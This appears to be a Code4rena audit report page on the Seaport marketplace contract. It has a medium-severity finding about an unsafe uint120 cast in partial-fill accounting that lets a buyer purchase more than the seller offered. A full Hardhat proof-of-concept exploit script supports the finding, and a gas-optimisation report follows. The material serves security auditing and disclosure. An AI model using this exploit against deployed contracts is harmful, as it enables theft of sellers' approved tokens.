Platform: Code4rena
Start Date: 20/05/2022
Pot Size: $1,000,000 USDC
Total HM: 4
Participants: 59
Period: 14 days
Judge: leastwood
Id: 128
League: ETH
Rank: 9/59
Findings: 2
Award: $23,032.04
π Selected for report: 0
π Solo Findings: 0
22572.5904 USDC - $22,572.59
_orderStatus[orderHash].numerator = uint120( filledNumerator + numerator ); _orderStatus[orderHash].denominator = uint120(denominator);
When an order is filled partially, the order's denominator
and numerator
will be updated in OrderValidator.sol#_validateOrderAndUpdateStatus
based on the previous filledNumerator
and filledDenominator
, and the numerator
and denominator
of the current fulfill order.
However, in the current implementation, both the order's denominator
and numerator
in the storage and the buyer's inputs will be converted to uint256
and multiply to the new values.
// the supplied numerator & denominator by current denominator. numerator *= filledDenominator; denominator *= filledDenominator;
This makes it possible for the new values to exceed type(uint120).max
, and later when updating order status and fill amount, they will be cast to uint120
unsafely.
A sophisticated attacker can send buy orders with specially designed values for denominator
and numerator
to manipulate the fill amount of the seller's order, then use unsafe type casting to reset the denominator
and numerator
to 0
and buy the entire offered amount again, effectively buying more against the seller's will.
One of the most important requirements of a marketplace protocol is that it MUST ensure that orders are fulfilled at the agreed-upon exchange rate (aka price) for an agreed-upon amount (quantity).
To put it another way, if the seller created an order to sell 3 apples for $1 each, the marketplace protocol MUST NOT accept a buy order for 5 cents per apple, nor a buy order for $1 million to buy 1 million apples. Even if there are 1 million apples in the seller's warehouse and the seller did give the key to the marketplace.
As a result, we believe that allowing the buyer to buy more than the offered amount is inherently wrong, and that it "places most or all user funds at risk," where the funds, in this case, are the assets that sit in the seller's wallet and have been approved to the protocol, can be bought and transferred to the buyer/attacker against the seller's will.
The impacted scenarios can be quite common in practice: "flash sale" is very popular among online marketplaces, where sellers sell products at a discounted price for a very limited quantity.
If a seller uses the seaport protocol to host a similar "flash sale" for their tokens and/or NFTs, the financial damage from such an attack can be severe.
Given:
PARTIAL_OPEN
100
The attacker can:
2**117
2**119
25
Updated orderStatus:
166153499473114484112975882535043072
664613997892457936451903530140172288
4
16
25
, total bought amount is now: 50
0
0
This is the test script we wrote for this proof of concept:
it("Partial fills (oversold)", async () => { // Seller mints nft const { nftId, amount } = await mintAndApprove1155( seller, marketplaceContract.address, 10000, null, 10 ); const offer = [getTestItem1155(nftId, amount.mul(10), amount.mul(10))]; const nftBalanceOfSeller = await testERC1155.balanceOf( seller.address, nftId ); const consideration = [ getItemETH(amount.mul(1000), amount.mul(1000), seller.address), getItemETH(amount.mul(10), amount.mul(10), zone.address), getItemETH(amount.mul(20), amount.mul(20), owner.address), ]; const { order, orderHash, value } = await createOrder( seller, zone, offer, consideration, 1 // PARTIAL_OPEN ); let orderStatus = await marketplaceContract.getOrderStatus(orderHash); expect({ ...orderStatus }).to.deep.equal( buildOrderStatus(false, false, 0, 0) ); // 1/4 order.numerator = ethers.BigNumber.from(2).pow(117); order.denominator = ethers.BigNumber.from(2).pow(119); await withBalanceChecks([order], 0, [], async () => { const tx = marketplaceContract .connect(buyer) .fulfillAdvancedOrder(order, [], toKey(false), { value, }); const receipt = await (await tx).wait(); await checkExpectedEvents( tx, receipt, [ { order, orderHash, fulfiller: buyer.address, fulfillerConduitKey: toKey(false), }, ], null, [] ); return receipt; }); orderStatus = await marketplaceContract.getOrderStatus(orderHash); const nftBalanceOfSeller1 = await testERC1155.balanceOf( seller.address, nftId ); console.log("nftBalanceOfSeller[1]", nftBalanceOfSeller1); console.log("orderStatus [1]", orderStatus); expect(nftBalanceOfSeller1).to.be.equal( nftBalanceOfSeller.sub(amount.mul(10).div(4).mul(1)) ); order.numerator = ethers.BigNumber.from(2).pow(4).div(4); // fill two tenths or one fifth order.denominator = ethers.BigNumber.from(2).pow(4); // fill two tenths or one fifth await withBalanceChecks([order], 0, [], async () => { const tx = marketplaceContract .connect(buyer) .fulfillAdvancedOrder(order, [], toKey(false), { value, }); const receipt = await (await tx).wait(); await checkExpectedEvents( tx, receipt, [ { order, orderHash, fulfiller: buyer.address, fulfillerConduitKey: toKey(false), }, ], null, [] ); return receipt; }); orderStatus = await marketplaceContract.getOrderStatus(orderHash); console.log("orderStatus [2]", orderStatus); const nftBalanceOfSeller2 = await testERC1155.balanceOf( seller.address, nftId ); console.log("nftBalanceOfSeller[2]", nftBalanceOfSeller2); expect(nftBalanceOfSeller2).to.be.equal( nftBalanceOfSeller1.sub(amount.mul(10).div(4).mul(1)) ); order.numerator = 1; order.denominator = 1; await withBalanceChecks([order], 0, [], async () => { const tx = marketplaceContract .connect(buyer) .fulfillAdvancedOrder(order, [], toKey(false), { value, }); const receipt = await (await tx).wait(); await checkExpectedEvents( tx, receipt, [ { order, orderHash, fulfiller: buyer.address, fulfillerConduitKey: toKey(false), }, ], null, [] ); return receipt; }); orderStatus = await marketplaceContract.getOrderStatus(orderHash); console.log("orderStatus[3]", orderStatus); const nftBalanceOfSeller3 = await testERC1155.balanceOf( seller.address, nftId ); console.log("nftBalanceOfSeller[3]", nftBalanceOfSeller3); expect(nftBalanceOfSeller3.toNumber()).to.be.greaterThanOrEqual( nftBalanceOfSeller.sub(amount.mul(10)).toNumber() ); });
Consider removing the casting from uint120
to uint256
before the multiply, making the transaction revert when the multiply overflows.
#0 - 0age
2022-06-03T17:26:01Z
duplicate of the partial fill issue, they're making a bigger deal of it than is merited here
#1 - HardlyDifficult
2022-06-19T16:37:37Z
Dupe of #77
π Selected for report: Dravee
Also found by: 0x1f8b, 0x29A, 0xalpharush, Chom, Czar102, Hawkeye, IllIllI, MaratCerby, MiloTruck, NoamYakov, OriDabush, RoiEvenHaim, Spearbit, Tadashi, TerrierLover, TomJ, asutorufos, cccz, cmichel, csanuragjain, defsec, delfin454000, djxploit, ellahi, foobar, gzeon, hake, hickuphh3, ignacio, ilan, joestakey, kaden, mayo, ming, oyc_109, peritoflores, rfa, sach1r0, sashik_eth, shung, sirhashalot, twojoy, zer0dot, zkhorse
459.4521 USDC - $459.45
For the arithmetic operations that will never over/underflow, using the unchecked directive (Solidity v0.8 has default overflow/underflow checks) can save some gas from the unnecessary internal over/underflow checks.
For example:
// Determine whether the updated channel is already tracked as open. bool channelPreviouslyOpen = channelIndexPlusOne != 0; // If the channel has been set to open and was previously closed... if (isOpen && !channelPreviouslyOpen) { // Add the channel to the channels array for the conduit. conduitProperties.channels.push(channel); // Add new open channel length to associated mapping as index + 1. conduitProperties.channelIndexesPlusOne[channel] = ( conduitProperties.channels.length ); } else if (!isOpen && channelPreviouslyOpen) { // Set a previously open channel as closed via "swap & pop" method. // Decrement located index to get the index of the closed channel. uint256 removedChannelIndex = channelIndexPlusOne - 1;
channelPreviouslyOpen
is true
means that channelIndexPlusOne != 0
, and channelIndexPlusOne
is uint256
, then channelIndexPlusOne - 1
will never underflow.
uint256
variables to 0
is redundantuint256 extraCeiling = 0;
Setting uint256
variables to 0
is redundant as they default to 0
.
Other examples include:
uint256 totalFilteredExecutions = 0;
this.[functionName].selector
is more gas efficient// Return a magic value indicating that the transfers were performed. magicValue = this.execute.selector;
Change to:
uint256 constant execute_selector_signature = ( 0x4ce34aa200000000000000000000000000000000000000000000000000000000 ); bytes4 constant execute_selector = bytes4( bytes32(execute_selector_signature) ); ... // Return a magic value indicating that the transfers were performed. magicValue = execute_selector;
Based on our tests, this change can save 21
gas.
Other examples include:
// Return a magic value indicating that the transfers were performed. magicValue = this.executeBatch1155.selector;
#0 - HardlyDifficult
2022-06-26T16:22:21Z
Adding unchecked directive can save gas
This seems valid and could provide a small savings, but updating channels is not common and does not impact end-users so this is not a critical path.
Setting uint256 variables to 0 is redundant
There are a lot of instances of this, but in my testing the optimizer seems to mostly take care of this automatically. I saw very little impact from changes like this.
Using constant value instead this.[functionName].selector is more gas efficient
It's unfortunate that the optimizer does not handle this automatically, but given there is small savings here it may be worth including despite the impact to readability. Using immutable may be nice so that the values used are programmatically assigned.